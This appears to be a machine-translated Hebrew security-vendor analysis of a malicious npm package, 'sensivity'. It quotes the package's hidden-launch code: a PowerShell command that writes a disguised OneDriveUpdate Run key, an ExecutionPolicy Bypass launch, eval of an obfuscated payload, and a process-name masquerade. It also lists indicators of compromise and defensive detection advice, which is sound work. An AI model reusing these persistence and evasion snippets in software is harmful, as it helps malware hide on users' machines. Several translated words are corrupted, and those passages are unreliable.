PairLoop: לוח שלט רחוק נסתר בחבילת npm

PairLoop: חבילת npm אחת, שבעים גרסאות ולוח בקרה מרחוק נסתר של Windows

TL; DR

חבילת ה-npm רגישות מתאר את עצמו כ"לוח בקרת רגישות". ב-Windows הוא מתנהג ככלי שליטה ומעקב מרחוק.

נקודת הכניסה שלה, launcher.js, משנה את שם התהליך שלו ל-Runtime Broker, כותב ערך מפתח הפעלה אוטומטי בשם OneDriveUpdate שמפעיל מחדש את החבילה דרך VBScript מוסתר, מפעיל את PowerShell עם -ExecutionPolicy Bypass, ולאחר מכן מעריך מטען שרת מעורפל של 171 KB לצד מודול מקורי של 6.87 MB, sens.node.

הוא משמש כלוח בקרה לצימוד טלפונים ביציאת TCP 3000 וקורא את כתובת ה-URL בשורת הכתובת של הדפדפן הפעיל דרך Windows UIAutomation, תוך חיפוש אחר סרטון YouTube אחד מקודד.

שני חלקים שנחשבו קודם לכן כקופסאות שחורות נפתרו כעת. השרת המעורפל, server.obf.js, משתמש בסכימת מערך מחרוזות RC4 של obfuscator.io; יישום מחדש של המפענח שלו במצב לא מקוון (ללא ביצוע JavaScript) משחזר נקודת קצה חיצונית אחת — https://izopi.com/check.php — יחד עם מפתח ציבורי RSA מוטמע המשמש לאימות תגובות רישיון חתומות.

המודול המקורי, sens.node, אינו ארוז: טבלת הייבוא ​​והמחרוזות המוטמעות שלו מזהות אותו כשכבת-על בתוך המשחק של DirectX 11 / Dear ImGui המספקת תכונות aimbot, ESP (wall-hack) ו-triggerbot, המונעות על ידי הזרקת תהליכים מרחוק וקריאה/כתיבה של זיכרון.

מחרוזות בתוכו מתייחסות לישויות רכב ומיקומי מפה התואמים ל-GTA V / FiveM. חבילת npm היא עטיפת המסירה והשמירה סביב מודול מקורי זה.

הסימן המגדיר הוא תפעולי, לא טכני: מפרסם אנונימי יחיד דחף בערך שבעים גרסאות של חבילה אחת - 2.5.0 עד 2.5.69 — על פני כמה ימים, כל אחד נושא את אותו משגר.

אין התקנות hooksהמטען פועל רק כאשר החבילה מופעלת.

ההתקפה: איך זה עובד

הפונקציה sensitivity שולחת עשרה קבצים. ה-package.json דליל: אין שדה repository, אין רישיון, כינויי main ושני כינויים של bin (sensitivity, sens) שכולם מצביעים על launcher.js, וסקריפט התחלה של node launcher.js. אין postinstall או preinstall. שום דבר לא מופעל בהתקנת npm. ההתנהגות המתוארת להלן פועלת כאשר משתמש מפעיל את החבילה - דרך ה-bin shim, סקריפט ההתחלה או requirement.

קובץ ה-tarball מכיל את המשגר, שרת מעורפל, מודול מקורי, סקריפט Visual Basic וספריית public/web עבור לוח הבקרה. launcher.js הוא התזמור הקריא; הלוגיקה שחשובה בזמן ריצה נמצאת בשני ה-blobs שהוא טוען - שרת מעורפל ומודול מקורי שעבר קומפילציה, שניהם נפתרו להלן.

 מסכת תהליכים ומעדכן OneDrive מזויף

בתחילת הביצוע, launcher.js מגדיר את שם התהליך שלו פעמיים:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker הוא תהליך לגיטימי של Windows (RuntimeBroker.exe) שמתווך הרשאות אפליקציות. שינוי שם של תהליך Node כך שיתאים לו פירושו שמבט חטוף במנהל המשימות לא מראה שום דבר יוצא דופן.

Persistence נכתב באמצעות PowerShell ולא באמצעות ממשק API ישיר של רישום:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

ערך ההפעלה האוטומטית נקרא OneDriveUpdate, והוא אינו מצביע ישירות על החבילה. הוא מצביע על wscript.exe שמפעיל את OneDrive.Standalone.Updater.vbs המצורף. סקריפט זה מפעיל מחדש את node launcher.js בחלון מוסתר. גם שם מקש ההפעלה וגם שם קובץ ה-VBScript שואלים את המותג של מיקרוסופט, כך שערך ההפעלה האוטומטית נקרא כמשימה שגרתית של OneDrive.

PowerShell עם עקיפת מדיניות ביצוע

המשגר ​​שולח שוב ושוב פקודות ל-PowerShell. ה-sink שסורקים מסמנים כקריטי הוא השקת קובץ .ps1 שנוצר כאשר מדיניות הביצוע מושבתת:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

עקיפת מדיניות ההפעלה (ExecutionPolicy Bypass) מסירה את בדיקת חתימת הסקריפטים המקומית עבור קריאה זו. הסקריפטים שנוצרו מטפלים בעבודת מעקב הדפדפן וזיהוי החלונות המתוארות בסעיף הבא.

השרת המעורפל והמודול המקורי

לאחר ההתקנה, launcher.js טוען ומפעיל את המטען האמיתי שלו:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js הוא 171 KB של ערפול מערך _0x - תבנית JavaScript שבה כל מחרוזת ומזהה מוחלפים על ידי אינדקס לתוך מערך מעורבב, ולאחר מכן מנותקים מהפניה בזמן ריצה. הסכימה היא גרסת RC4 שנוצרה על ידי obfuscator.io: פונקציית מפענח יחידה base64 מפענחת ערך מערך ולאחר מכן RC4 מפענחת אותו עם מפתח לכל קריאה. יישום מחדש של המפענח הזה בסקריפט נפרד - הפעלת היישום מחדש רק על מערך המחרוזות בעל 821 הערכים שחולץ, לעולם לא על ה-JavaScript של החבילה עצמה - מבטלת אותו בצורה נקייה. מה שעולה על פני השטח הוא צנוע אך דcisישנן: כתובת URL חיצונית אחת, https://izopi.com/check.php`, המוקצית לקבוע LICENSE_URL; RSA PUBLIC_KEY_PEM` מוטמע; הפאנל המקומי מנתב את /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, ו- /trigger/status; והמחרוזות child_process, crypto, ו-[Sensivity] sens.node loaded - האחרונה היא שורת הלוג המדויקת שהמשגר ​​כותב מחדש למודול התוכנית שנטען. נקודת הקצה היא בדיקת רישיון: הלקוח מפרסם מזהה (השרת המעורפל פורמט מחרוזת Discord ID: %s) ומפתח ה-RSA מאמת את התגובה החתומה של השרת.

sens.node הוא תוסף מקורי שעבר קומפילציה של 6.87 מגה-בייט, והוא אינו ארוז - האנטרופיה של המקטעים עומדת על 5.6-6.6 וטבלאות הייבוא ​​והייצוא של PE שלמות, כך שהיכולות שלו ניתנות לקריאה ישירות. הוא מייצא את napi_register_module_v1, ה- standard נקודת כניסה של צומת N-API, כך שהשרת המוערך טוען אותו עם דרישה פשוטה. טבלת הייבוא ​​שלו היא ה-tell. מ-KERNEL32 הוא מושך את OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules ו-Process32First/NextW - הקבוצה הקנונית לאיתור תהליך אחר, הקצאת זיכרון בתוכו וקריאה או כתיבה של זיכרון זה. מ-USER32 הוא מושך את GetAsyncKeyState, GetKeyState, mouse_event ו-SetCursorPos; הוא מקשר את d3d11.dll, D3DCOMPILER_43 ו-dwmapi עבור שכבת-על על המסך, ואת קבוצת WINHTTP המלאה עבור קריאות רשת. המחרוזות המוטמעות שלו מציינות את מערך התכונות ללא עמימות: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, והבאנר Dear ImGui Dear ImGui 1.91.3 WIP. מחרוזות מיקום וישות כגון Grapeseed Medical Clinic ואוצר המילים של vehicle-ESP תואמות את GTA V / FiveM.

הפיצול הוא למעשה מכוון: קובץ launcher.js הקריא נושא רק את החלקים שסורק קורא בקלות - persistence, masquerade, הקריאה להערכה עצמה - בעוד שההערפול מסתיר את המארח החיצוני היחיד, אנשי הקשר בזמן הריצה, והקובץ הבינארי מכיל את שכבת ה-game-overlay ואת לוגיקת הזרקת התהליך. ה-launcher הוא המעטפת הדקה והניתנת לביקורת; השרת המעורפל מסתיר את זהות הרשת; המודול המקורי הוא המטען. אנו מתארים את הייבוא ​​והמחרוזות של הקובץ הבינארי כנקראו; איננו מסיקים מהם את מטרת האופרטור.

 לוח בקרה לצימוד טלפונים בפורט 3000

ה-launcher מנהל שרת אינטרנט מקומי בפורט TCP 3000 ומתייחס אליו כאל סינגלטון. הוא מבצע שאילתה עבור מאזין קיים ומנקה אותו לפני קשירה:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

ניתן להגיע לפאנל בכתובת http://localhost:3000, עם כתובת URL חלופית LAN מקודדת קשיח של http://192.168.1.16:3000. הספרייה public/ והתנהגות הפאנל תואמות לזרימת צימוד QR: טלפון סורק קוד ומתחבר למארח כשלט רחוק. לא מופיע דומיין חיצוני של פקודה ובקרה בטקסט רגיל במפעיל - אך, כפי שמראה הדה-אובוסקציה לעיל, אחד כזה קיים בשרת המעורפל: נקודת הקצה של רישיון izopi.com. הפאנל עצמו הוא מקומי ובעל טווח LAN; המארח היוצא היחיד הוא בדיקת הרישיון הזו.

מודל מפקח/עובד מנותק שומר על התהליך בחיים. המשגר ​​מפעיל את עצמו מחדש עם דגלי סביבה SENSIVITY_SUPERVISOR ו-SENSIVITY_WORKER, כאשר כל תהליך ילד פועל באופן מוסתר, כך שסגירת תהליך אחד משאירה גורם שמירה (watchdog) שיפעיל אותו מחדש.

מעקב דפדפנים ואות יוטיוב

ההתנהגות הספציפית ביותר היא ניטור דפדפן. launcher.js בונה את PowerShell שמניע את Windows UIAutomation לקרוא את שורת הכתובת של דפדפן פעיל:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern מחזיר את תוכן הטקסט של אלמנט ממשק משתמש. כאשר הוא מוחל על בקרת עריכה בשורת הכתובת של דפדפן, הוא מחזיר את כתובת ה-URL שהקורבן צופה בה כעת - ללא הרחבת דפדפן, ללא נגיעה בפרופיל בדיסק וללא hook של API. הסקריפט שנוצר מבצע איטרציה של רשימת $browserNames ומחלץ את כתובת ה-URL או את כותרת החלון של הדפדפן שנמצא בחזית.

כתובת URL זו נבדקת מול יעד יחיד המקודד בקפידה:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

משגר החיפוש מבצע סקר בלולאה של שלוש שניות עבור חלון דפדפן המציג את YouTube, ו-PowerShell שנוצר נושא זוג Get-YouTubeBrowser / Test-TargetYouTubeUrl שתואם את מזהה הסרטון הזה. האפקט הנצפה הוא כפול: כתובת ה-URL הפעילה של הגלישה נקראת ממסך הקורבן, והאינטראקציה של המארח עם סרטון YouTube ספציפי מזוהה. אנו מתארים את המנגנון ואת המטרה; איננו מסיקים מהם מניע.

קריאת שורת הכתובת היא מה שהסורק מכנה sensitive_data_enumeration - מקור Process::env ו-UIAutomation המזין זמן ריצה תואם רשת. הוא נראה שפיר בפני עצמו ועובר למעקב רק לאחר מעקב אחר מחזור חיי הנתונים ממקור UIAutomation ועד לשרת המעורפל.

ציר זמן ואבולוציה של גרסאות

רגישות אינה העלאה חד פעמית. לחשבון המפרסם יש בערך שבעים גרסאות שפורסמו של חבילה יחידה זו, וחדשות המשיכו להגיע במהלך חלון הסקירה. המשגר ​​גדל תכונה אחר תכונה לאורך קו 2.5.x בעוד שההתמדה וטעינת המטען שלו נשארים קבועים.

תאריך (UTC) גרסאות שנצפו מצב משגר
2026-06-02 2.5.8 - 2.5.46 (25) משגר בסיס של פאנל QR; שמירה על מקשי הפעלה; הערכה של שרת מעורפל.
2026-06-03 2.5.53 - 2.5.61 (6) אותה טביעת אצבע; דיכוי עקבות בקונסולה.
2026-06-04 2.5.67, 2.5.68 (2) מוסיף יעד מעורבות מוצמד של YouTube wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) פרסום מחדש של ממלאי פערים בכל הטווח; פיקוח על מנהל/עובד.

קריאת המפעיל על פני נציגים שהורדו - 2.5.0, 2.5.36 ו-2.5.69 - מציגה ארבע שכבות. הגירסאות המוקדמות ביותר נושאות את מפעיל צימוד ה-QR הבסיסי. החל מ-2.5.33 מופיע מפעיל שורת הכתובות של UIAutomation. החל מ-2.5.58 נוספה שכבת ניהול-מפקח. החל מ-2.5.64, כלב השמירה המנותק של המפקח/עובד משלים את הסט. לאורך כל הדרך, ארבעה דברים לעולם אינם משתנים: מפתח ההפעלה של OneDriveUpdate, מחק OneDrive.Standalone.Updater.vbs, המודול server.obf.js המוערך, והמודול המקורי sens.node.

גל ה-2026-06-05 בולט משום שהוא פרסם מחדש את מספרי הגרסאות הנמוכים - 2.5.0 עד 2.5.15 - שנמצאים מתחת לגרסאות שאושרו ימים קודם לכן. התוצאה היא שורה רציפה של 2.5.x ברישום, כאשר כל גרסה נושאת את אותו משגר.

אינדיקטורים של פשרה

כל האינדיקטורים שלהלן נקראו ישירות מחבילת tarball. משגר הקריאה נושא רק לולאה חוזרת וכתובת LAN פרטית אחת; שם המארח החיצוני היחיד, izopi.com, שוחזר על ידי הסרת ערפול (deobfuscating) של server.obf.js במצב לא מקוון.

סוּג אינדיקטור הערות
חֲבִילָה npm:sensivity (כ-70 גרסאות, 2.5.0-2.5.69) מפרסם חבילה יחידה; ללא מאגר; ללא רישיון.
שלח launcher.js תזמור קריא; יעד ראשי ויעד סל.
שלח server.obf.js (כ-171 קילו-בייט) מטען מערך מחרוזות RC4 של obfuscator.io, נטען דרך eval(fs.readFileSync(...)).
שלח sens.node (≈6.87 מגה-בייט) תוסף N-API של צומת PE32+ x86-64; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
שלח OneDrive.Standalone.Updater.vbs מפעיל מחדש מוסתר (node launcher.js).
רשת https://izopi.com/check.php נקודת קצה של רישיון/אימות שוחזרה מהשרת המעורפל; מפתח ציבורי RSA מוטמע מאמת את התגובות.
יכולת OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread הזרקת תהליכים מרחוק ויכולת קריאה/כתיבה של זיכרון.
יכולת Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP שכבת-על של משחק DirectX 11 / ImGui המיישמת תכונות של aimbot, ESP ו-triggerbot.
רישום HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate ערך הפעלה אוטומטית המצביע על wscript.exe ומפעיל ה-VBScript.
התַהֲלִיך process.title = 'Runtime Broker' מתחזה לתהליך הלגיטימי של Windows Runtime Broker.
התנהגות powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 עקיפת מדיניות ביצוע המשמשת עבור סקריפטים של PowerShell שנוצרו.
התנהגות UIAutomation ValuePattern קריאת שורת הכתובת של הדפדפן קורא את כתובת ה-URL של חלון הדפדפן שבחזית.
התנהגות מזהה סרטון היעד wJWta2lO0Lwסקר יוטיוב בן 3 שניות אות ניטור מעורבות מוצמד.
רשת http://localhost:3000, גיבוי http://192.168.1.16:3000 לוח בקרה לצימוד QR חשוף באופן מקומי וברשת ה-LAN.
סביבה SENSIVITY_SUPERVISOR, SENSIVITY_WORKER דגלי תיאום תהליכים של כלב פיקוח מנותק.

ייחוס, השפעה ומגינים

החבילה מתפרסמת על ידי חשבון npm יחיד שהכתובת האימייל המוצהרת שלו היא כתובת Gmail לא מאומתת. לחשבון יש ציון מוניטין שלילי מאוד ברישום, הוא מתחזק ומפרסם רק את החבילה הזו, ואין לו מאגר מקורות מקושר. לא אימתנו את הבעלות על האימייל ואנו מייחסים את הקמפיין לחשבון המפרסם, לא לאף אדם בשם. למשגר אין תשתית טקסט ברור, אך המארח החיצוני היחיד ידוע כעת: השרת המעורפל יוצר קשר עם izopi.com לבדיקת רישיון, והמודול המקורי - שנקרא מטבלת הייבוא ​​והמחרוזות שלו במקום הוראה אחר הוראה הפוכה - הוא שכבת משחק שמזריקה וקוראת את הזיכרון של תהליך אחר.

ההשפעה הנצפית נופלת על משתמשי Windows שמתקינים ומפעילים את Sensivity בציפייה לכלי לוח בקרה. במחשבים אלה, החבילה יוצרת Autostart Persistence במסווה של משימת OneDrive, משנה את שמה כדי לחקות תהליך מערכת, קוראת את כתובת ה-URL של כל מה שהמשתמש גולש בו, ומקימה לוח צימוד שמחבר את המכונה לשלט רחוק דרך הרשת המקומית. מצב השמירה של supervisor/worker פירושו שהריגת תהליך בודד אינה מסירה אותו; ערך מקש Run שורדים אתחול מחדש. macOS ו-Linux אינם ממוקדים על ידי המשגר ​​- נתיבי persistence, PowerShell ו-UIAutomation הם עבור Windows בלבד.

נטישת שבעים גרסאות היא מגמה שכדאי להדגיש. פרסום מחדש של חבילה אחת עשרות פעמים בכמה ימים, כולל מילוי מספרי גרסה מתחת לאלה שכבר הוסרו, שומר עותק חי ברישום בין הסרות ומסכל רשימות חסימה מוצמדות לגירסאות. ערך רשימת חסימה עבור sensitivity@2.5.61 לא עושה דבר נגד sensitivity@2.5.3 שפורסם מחדש למחרת.

מגינים יכולים לפעול על פי הדברים הבאים:

  • חסום לחלוטין את רגישות שם החבילה ברשימות היתרים של registry-proxy ו-CI. הצמדת גרסאות בודדות פוגעת בקצב הפרסום מחדש; השם הוא האינדיקטור העמיד.
  • חפש ערך Run בשם OneDriveUpdate שהנתונים שלו מפעילים wscript.exe כנגד קובץ .vbs בנתיב לפי משתמש. עדכון OneDrive המקורי אינו רשום בדרך זו.
  • התראה על תהליך Node.js ש-process.title שלו הוא Runtime Broker. הברוקר האמיתי הוא RuntimeBroker.exe, לא Node runtime.
  • סמן אחזורים בזמן התקנה של npm של חבילות ששולחות תוסף .node שעבר קומפילציה בתוספת eval(fs.readFileSync(…)) של קובץ .obf.js אח. צימוד זה - קובץ בינארי מקורי אטום שנטען ליד מטען טקסט מעורפל - הוא ה-cened המבני כאן, ללא תלות בכל מחרוזת IOC.
  • התייחס לכל מאזין מקומי ביציאה 3000 שנוצר על ידי תהליך Node בלתי צפוי כחשוד בנקודות קצה מנוהלות של Windows.
  • חסום או התראה על בקשות יוצאות ל-izopi.com ממארחי מפתחים או משתמשי קצה; זוהי נקודת הקצה החיצונית היחידה של החבילה, אליה מגיעים בכתובת /check.php מהשרת המעורפל.
  • עבור כל תוסף .node כלול, בדוק את טבלת הייבוא ​​שלו לפני שאתה נותן בו אמון. השילוב של OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread הוא הזרקת תהליכים מרחוק ללא קשר למה שהחבילה טוענת לעשות; כאן הוא ממוקם ליד שכבת-על של Direct3D ומחרוזות aimbot/ESP/triggerbot.

לניתוח סטטי pipelines, צורת ההכרה עמידה לאורך כל שינוי הגרסאות: פרופיל התקנה שאינו קשור לרשת, הקצאת כותרת תהליך לשם תהליך מערכת ידוע, כתיבה למקש Run דרך PowerShell, והערכה של קובץ שנקרא מדיסק. אף אחד מאלה אינו תלוי בדומיין, IP או מספר גרסה שהפרסום המחודש הבא יכול לסובב.

 הפניות

[npm: רגישות] – דף רישום עבור שורת גרסת החבילה הנדונה כאן; נתון להסרה.

כלי SCA לניתוח קומפוזיציה - תוכנה
תעדוף, תיקון ואבטחת סיכוני התוכנה שלך
קבל את החשבון החינמי שלך.
אין צורך בכרטיס אשראי.

אבטחו את פיתוח ואספקת התוכנה שלכם

עם חבילת המוצרים Xygeni